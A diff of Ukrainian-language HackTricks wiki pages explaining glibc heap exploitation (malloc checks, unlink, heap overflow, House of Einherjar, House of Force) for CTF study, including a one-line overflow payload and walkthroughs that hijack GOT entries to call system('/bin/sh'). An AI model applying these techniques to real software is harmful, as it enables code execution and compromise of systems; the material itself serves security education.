||||
* Якщо наступний блок має занадто маленький або занадто великий розмір:
|
||||
* Повідомлення про помилку: `free(): недійсний наступний розмір (звичайний)`
|
||||
* Якщо попередній блок не використовується, спробує сконсолідувати. Але, якщо `prev_size` відрізняється від розміру, вказаного в попередньому блоку:
|
||||
* Повідомлення про помилку: `пошкоджений розмір проти prev_size під час консолідації`
|
||||
|
||||
## **`_int_free_create_chunk`**
|
||||
|
||||
* **Перевірки в `_int_free_create_chunk`:**
|
||||
* Додавання блоку в неупорядкований бін, перевірте, чи `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
|
||||
* Повідомлення про помилку: `free(): пошкоджені неупорядковані блоки`
|
||||
|
||||
## `do_check_malloc_state`
|
||||
|
||||
* **Перевірки в `do_check_malloc_state`:**
|
||||
* Якщо невірно вирівняний швидкий бін-блок:
|
||||
* Повідомлення про помилку: `do_check_malloc_state(): виявлено невирівняний швидкий бін-блок`
|
||||
|
||||
## `malloc_consolidate`
|
||||
|
||||
* **Перевірки в `malloc_consolidate`:**
|
||||
* Якщо невірно вирівняний швидкий бін-блок:
|
||||
* Повідомлення про помилку: `malloc_consolidate(): виявлено невирівняний швидкий бін-блок`
|
||||
* Якщо невірний розмір швидкого бін-блоку:
|
||||
* Повідомлення про помилку: `malloc_consolidate(): недійсний розмір блоку`
|
||||
|
||||
## `_int_realloc`
|
||||
|
||||
* **Перевірки в `_int_realloc`:**
|
||||
* Розмір занадто великий або занадто малий:
|
||||
* Повідомлення про помилку: `realloc(): недійсний старий розмір`
|
||||
* Розмір наступного блоку занадто великий або занадто малий:
|
||||
* Повідомлення про помилку: `realloc(): недійсний наступний розмір`
|
File diff suppressed because it is too large
Load diff
107
binary-exploitation/libc-heap/heap-memory-functions/unlink.md
Normal file
107
binary-exploitation/libc-heap/heap-memory-functions/unlink.md
Normal file
|
@ -0,0 +1,107 @@
|
|||
# unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### Код
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
|
||||
/* Take a chunk off a bin list. */
|
||||
static void
|
||||
unlink_chunk (mstate av, mchunkptr p)
|
||||
{
|
||||
if (chunksize (p) != prev_size (next_chunk (p)))
|
||||
malloc_printerr ("corrupted size vs. prev_size");
|
||||
|
||||
mchunkptr fd = p->fd;
|
||||
mchunkptr bk = p->bk;
|
||||
|
||||
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
|
||||
malloc_printerr ("corrupted double-linked list");
|
||||
|
||||
fd->bk = bk;
|
||||
bk->fd = fd;
|
||||
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
|
||||
{
|
||||
if (p->fd_nextsize->bk_nextsize != p
|
||||
|| p->bk_nextsize->fd_nextsize != p)
|
||||
malloc_printerr ("corrupted double-linked list (not small)");
|
||||
|
||||
// Added: If the FD is not in the nextsize list
|
||||
if (fd->fd_nextsize == NULL)
|
||||
{
|
||||
|
||||
if (p->fd_nextsize == p)
|
||||
fd->fd_nextsize = fd->bk_nextsize = fd;
|
||||
else
|
||||
// Link the nexsize list in when removing the new chunk
|
||||
{
|
||||
fd->fd_nextsize = p->fd_nextsize;
|
||||
fd->bk_nextsize = p->bk_nextsize;
|
||||
p->fd_nextsize->bk_nextsize = fd;
|
||||
p->bk_nextsize->fd_nextsize = fd;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
|
||||
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Графічне пояснення
|
||||
|
||||
Перевірте це чудове графічне пояснення про процес роз'єднання:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||
|
||||
### Перевірки безпеки
|
||||
|
||||
* Перевірте, чи вказаний розмір фрагмента співпадає з prev\_size, вказаним у наступному фрагменті
|
||||
* Також перевірте, що `P->fd->bk == P` та `P->bk->fw == P`
|
||||
* Якщо фрагмент не є малим, перевірте, що `P->fd_nextsize->bk_nextsize == P` та `P->bk_nextsize->fd_nextsize == P`
|
||||
|
||||
### Витоки
|
||||
|
||||
Роз'єднаний фрагмент не очищає виділені адреси, тому, маючи до нього доступ, можна витікати деякі цікаві адреси:
|
||||
|
||||
Витоки з Libc:
|
||||
|
||||
* Якщо P знаходиться в голові подвійного зв'язаного списку, `bk` буде вказувати на `malloc_state` в libc
|
||||
* Якщо P знаходиться в кінці подвійного зв'язаного списку, `fd` буде вказувати на `malloc_state` в libc
|
||||
* Коли подвійний зв'язаний список містить лише один вільний фрагмент, P знаходиться в подвійному зв'язаному списку, і як `fd`, так і `bk` можуть витікати адресу всередині `malloc_state`.
|
||||
|
||||
Витоки з купи:
|
||||
|
||||
* Якщо P знаходиться в голові подвійного зв'язаного списку, `fd` буде вказувати на доступний фрагмент у купі
|
||||
* Якщо P знаходиться в кінці подвійного зв'язаного списку, `bk` буде вказувати на доступний фрагмент у купі
|
||||
* Якщо P знаходиться в подвійному зв'язаному списку, як `fd`, так і `bk` будуть вказувати на доступний фрагмент у купі
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
75
binary-exploitation/libc-heap/heap-overflow.md
Normal file
75
binary-exploitation/libc-heap/heap-overflow.md
Normal file
|
@ -0,0 +1,75 @@
|
|||
# Переповнення купи
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Переповнення купи схоже на [**переповнення стеку**](../stack-overflow/), але відбувається в купі. Основна ідея полягає в тому, що було зарезервовано певний простір в купі для зберігання даних, і **збережені дані були більшими, ніж зарезервований простір**.
|
||||
|
||||
У випадку переповнення стеку ми знаємо, що деякі регістри, такі як вказівник інструкцій або рамка стеку, будуть відновлені зі стеку, і можливо, це можна злоупотребити. У випадку переповнення купи **за замовчуванням в купі не зберігається ніяка чутлива інформація**, яка може бути переповнена. Однак це може бути чутлива інформація або вказівники, тому **критичність** цієї уразливості **залежить** від **даних, які можуть бути перезаписані**, і від того, як зловмисник може цим скористатися.
|
||||
|
||||
{% hint style="success" %}
|
||||
Для пошуку зміщень переповнення ви можете використовувати ті ж шаблони, що й у [**переповненнях стеку**](../stack-overflow/#finding-stack-overflows-offsets).
|
||||
{% endhint %}
|
||||
|
||||
### Переповнення стеку проти переповнення купи
|
||||
|
||||
У випадку переповнення стеку організація та дані, які будуть присутні в стеці в момент спрацювання уразливості, досить надійні. Це тому, що стек є лінійним, завжди збільшується в колізійній пам'яті, в **конкретних місцях виконання програми пам'ять стеку зазвичай зберігає схожий тип даних**, і він має певну структуру з деякими вказівниками в кінці частини стеку, яку використовує кожна функція.
|
||||
|
||||
Однак у випадку переповнення купи використована пам'ять не є лінійною, але **виділені частини зазвичай знаходяться в окремих позиціях пам'яті** (не одна поруч з іншою) через **біни та зони**, які розділяють виділення за розміром, і через те, що **попередню вільну пам'ять використовують** перед виділенням нових частин. **Складно визначити об'єкт, який буде зіштовхуватися з уразливим об'єктом** у випадку переповнення купи. Тому, коли виявляється переповнення купи, потрібно знайти **надійний спосіб зробити бажаний об'єкт наступним у пам'яті** від того, що може бути переповнено.
|
||||
|
||||
Однією з технік, які використовуються для цього, є **формування купи**, яке використовується, наприклад, [**у цьому пості**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). У пості пояснюється, що коли в ядрі iOS закінчується зона пам'яті для зберігання частин пам'яті, вона розширюється на сторінку ядра, і ця сторінка розбивається на частини очікуваних розмірів, які будуть використовуватися по порядку (до версії iOS 9.2, після цього ці частини використовуються випадковим чином, щоб ускладнити експлуатацію цих атак).
|
||||
|
||||
Отже, у попередньому пості, де відбувається переповнення купи, для того щоб змусити переповнений об'єкт зіштовхуватися з об'єктом-жертвою, кілька **`kallocs` змушуються кількома потоками, щоб забезпечити заповнення всіх вільних частин і створення нової сторінки**.
|
||||
|
||||
Для забезпечення цього заповнення об'єктами певного розміру **виділення поза лінією, пов'язане з iOS mach port**, є ідеальним кандидатом. Складаючи розмір повідомлення, можна точно вказати розмір виділення `kalloc`, і коли відповідний mach port буде знищений, відповідне виділення буде негайно повернуто назад до `kfree`.
|
||||
|
||||
Потім деякі з цих заповнювачів можуть бути **звільнені**. Список вільних елементів **`kalloc.4096` вивільняє елементи у порядку останній-в-перший**, що в основному означає, що якщо деякі заповнювачі звільнені, і експлойт намагається виділити кілька об'єктів-жертв під час спроби виділити об'єкт, вразливий на переповнення, ймовірно, що цей об'єкт буде слідувати за об'єктом-жертвою.
|
||||
|
||||
### Приклад libc
|
||||
|
||||
[**На цій сторінці**](https://guyinatuxedo.github.io/27-edit\_free\_chunk/heap\_consolidation\_explanation/index.html) можна знайти базове емуляцію переповнення купи, яка показує, як перезаписуючи попередній біт використання наступного чанка та позицію попереднього розміру можна **консолідувати використаний чанк** (зробивши його невикористаним) і **потім виділити його знову**, здатний перезаписувати дані, які використовуються в іншому вказівнику.
|
||||
|
||||
Інший приклад з [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap0/index.html) показує дуже простий приклад CTF, де **переповнення купи** може бути використане для виклику функції-переможця для **отримання прапорця**.
|
||||
|
||||
У прикладі [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap\_overflow/protostar\_heap1/index.html) можна побачити, як зловживанням переповненням буфера можна **перезаписати в недалекому чанку адресу**, куди буде записано **довільні дані від користувача**.
|
||||
|
||||
### Приклад ARM64
|
||||
|
||||
На сторінці [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) можна знайти приклад переповнення купи, де команда, яка буде виконана, зберігається в наступному чанку від переповненого чанку. Таким чином, можна змінити виконувану команду, перезаписавши її простим експлойтом, наприклад:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
### Інші приклади
|
||||
|
||||
* [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
|
||||
* Ми використовуємо уразливість переповнення цілочисельного типу, щоб отримати переповнення купи.
|
||||
* Ми порушуємо вказівники на функцію всередині `struct` переповненого фрагмента, щоб встановити функцію, таку як `system`, і отримати виконання коду.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
75
binary-exploitation/libc-heap/house-of-einherjar.md
Normal file
75
binary-exploitation/libc-heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,75 @@
|
|||
# Будинок Einherjar
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
### Код
|
||||
|
||||
* Перевірте приклад з [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
* Або з [https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house\_of\_einherjar/house\_einherjar\_exp/index.html#house-of-einherjar-explanation) (можливо, потрібно заповнити tcache)
|
||||
|
||||
### Мета
|
||||
|
||||
* Мета - виділити пам'ять практично за будь-якою конкретною адресою.
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Створіть фальшивий чанк, коли ми хочемо виділити чанк:
|
||||
* Встановіть вказівники, щоб вони вказували на себе, щоб обійти перевірки належності
|
||||
* Переливання одного байта з нульовим байтом з одного чанку в наступний для зміни прапора `PREV_INUSE`.
|
||||
* Вкажіть у `prev_size` зловживаного чанку off-by-null різницю між ним самим та фальшивим чанком
|
||||
* Розмір фальшивого чанку також повинен бути встановлений таким же розміром для обходу перевірок належності
|
||||
* Для створення цих чанків вам знадобиться витік купи.
|
||||
|
||||
### Атака
|
||||
|
||||
* Створюється фальшивий чанк всередині чанку, керованого зловмисником, що вказує з `fd` та `bk` на початковий чанк для обходу захисту
|
||||
* Виділяються ще 2 чанки (`B` та `C`)
|
||||
* Зловживання off by one в `B` очищає біт `prev in use`, а дані `prev_size` перезаписуються різницею між місцем, де виділяється чанк `C`, та фальшивим чанком `A`, створеним раніше
|
||||
* Цей `prev_size` та розмір у фальшивому чанку `A` повинні бути однаковими для обходу перевірок.
|
||||
* Потім, заповнюється tcache
|
||||
* Потім, `C` вивільняється, щоб він сконсолідувався з фальшивим чанком `A`
|
||||
* Потім створюється новий чанк `D`, який буде починатися в фальшивому чанку `A` та покривати чанк `B`
|
||||
* Будинок Einherjar закінчується тут
|
||||
* Це можна продовжити атакою на швидкий бін або забрудненням Tcache:
|
||||
* Вивільніть `B`, щоб додати його до швидкого біну / Tcache
|
||||
* `fd` `B` перезаписується так, щоб він вказував на цільову адресу, зловживаючи чанком `D` (оскільки він містить `B` всередині) 
|
||||
* Потім робляться 2 malloc, і другий буде **виділяти цільову адресу**
|
||||
|
||||
## Посилання та інші приклади
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
* **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_einherjar/#2016-seccon-tinypad)
|
||||
* Після вивільнення вказівники не нулюються, тому все ще можливий доступ до їх даних. Тому чанк розміщується в неупорядкованому блоці та витікають вказівники, які він містить (витік libc), а потім на неупорядкованому блоці розміщується нова купа та витікається адреса купи з вказівника, який вона отримує.
|
||||
* [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
|
||||
* Помилка переливання нуль-байту в `strtok`.
|
||||
* Використовуйте House of Einherjar, щоб отримати ситуацію перекривання чанків та завершіть забрудненням Tcache, щоб отримати примітив для довільного запису.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
73
binary-exploitation/libc-heap/house-of-force.md
Normal file
73
binary-exploitation/libc-heap/house-of-force.md
Normal file
|
@ -0,0 +1,73 @@
|
|||
# House of Force
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Базова інформація
|
||||
|
||||
### Код
|
||||
|
||||
* Цю техніку виправлено ([**тут**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) і вона викликає помилку: `malloc(): corrupted top size`
|
||||
* Ви можете спробувати [**код звідси**](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html), щоб протестувати його, якщо хочете.
|
||||
|
||||
### Мета
|
||||
|
||||
* Метою цього нападу є можливість виділити фрагмент пам'яті за конкретною адресою.
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Переповнення, яке дозволяє перезаписати розмір заголовка верхнього фрагмента (наприклад, -1).
|
||||
* Можливість контролювати розмір виділення купи.
|
||||
|
||||
### Напад
|
||||
|
||||
Якщо зловмисник хоче виділити фрагмент пам'яті за адресою P, щоб перезаписати значення тут. Він починає з перезапису розміру верхнього фрагмента значенням `-1` (можливо, з переповненням). Це гарантує, що malloc не буде використовувати mmap для будь-якого виділення, оскільки верхній фрагмент завжди матиме достатньо місця.
|
||||
|
||||
Потім розраховується відстань між адресою верхнього фрагмента та цільовим простором для виділення. Це тому, що malloc з таким розміром буде виконано для переміщення верхнього фрагмента на цю позицію. Ось як можна легко розрахувати різницю/розмір:
|
||||
```c
|
||||
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
|
||||
/*
|
||||
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
|
||||
* new_top = old_top + nb
|
||||
* nb = new_top - old_top
|
||||
* req + 2sizeof(long) = new_top - old_top
|
||||
* req = new_top - old_top - 2sizeof(long)
|
||||
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
|
||||
* req = target - old_top - 4*sizeof(long)
|
||||
*/
|
||||
```
|
||||
Отже, виділення розміру `ціль - old_top - 4*sizeof(long)` (4 long через метадані верхнього фрагмента та нового фрагмента при виділенні) перемістить верхній фрагмент на адресу, яку ми хочемо перезаписати.\
|
||||
Потім знову виконайте malloc, щоб отримати фрагмент за цільовою адресою.
|
||||
|
||||
### Посилання та Інші Приклади
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.27/house\_of\_force.c)
|
||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/house\_force\_exp/index.html)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#hitcon-training-lab-11)
|
||||
* Мета цього сценарію - ret2win, де потрібно змінити адресу функції, яка буде викликана адресою функції ret2win
|
||||
* У бінарному файлі є переповнення, яке можна використовувати для зміни розміру верхнього фрагмента, який змінено на -1 або p64(0xffffffffffffffff)
|
||||
* Потім обчислюється адреса місця, де існує вказівник для перезапису, і різниця від поточного положення верхнього фрагмента до туди виділяється за допомогою `malloc`
|
||||
* Нарешті, виділяється новий фрагмент, який буде містити цю бажану ціль всередині, яка перезаписується функцією ret2win
|
||||
* [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=en&\_x\_tr\_pto=wapp)
|
||||
* У `Input your name:` є початкова вразливість, яка дозволяє витік адреси з купи
|
||||
* Потім у функціоналі `Org:` та `Host:` можна заповнити 64B вказівника `s`, коли запитують **назву організації**, яка на стеку слідує за адресою v2, яка потім слідує вказаною **назвою хоста**. Оскільки потім strcpy буде копіювати вміст s до фрагмента розміром 64B, можливо **перезаписати розмір верхнього фрагмента** даними, введеними в **назву хоста**.
|
||||
* Тепер, коли можливий довільний запис, GOT `atoi` було перезаписано на адресу printf. тоді можливо витікати адресу `IO_2_1_stderr` _з_ `%24$p`. Із цим витоком libc було можливо знову перезаписати GOT `atoi` на адресу `system` і викликати його, передаючи як параметр `/bin/sh`
|
||||
* Альтернативний метод [запропонований у цьому іншому описі](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/#2016-bctf-bcloud), полягає в перезаписі `free` на `puts`, а потім додаванні адреси `atoi@got`, в вказівник, який потім буде звільнений, щоб витікав і з цим витоком знову перезаписати `atoi@got` на `system` і викликати його з `/bin/sh`.
|
||||
* [https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html](https://guyinatuxedo.github.io/41-house\_of\_force/bkp16\_cookbook/index.html)
|
||||
* Є UAF, що дозволяє повторно використовувати фрагмент, який був звільнений без очищення вказівника. Оскільки є деякі методи читання, можливо витікати адресу libc, записуючи вказівник на функцію free в GOT тут, а потім викликаючи функцію читання.
|
||||
* Потім було використано House of force (з використанням UAF) для перезапису розміру лівого простору на -1, виділення достатньо великого фрагмента для досягнення free hook, а потім виділення іншого фрагмента, який буде містити free hook. Потім записати в гачок адресу `system`, записати в фрагмент `"/bin/sh"` і, нарешті, звільнити фрагмент з цим вмістом рядка.
|
73
binary-exploitation/libc-heap/house-of-lore.md
Normal file
73
binary-exploitation/libc-heap/house-of-lore.md
Normal file
|
@ -0,0 +1,73 @@
|
|||
# House of Lore | Атака Small bin
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
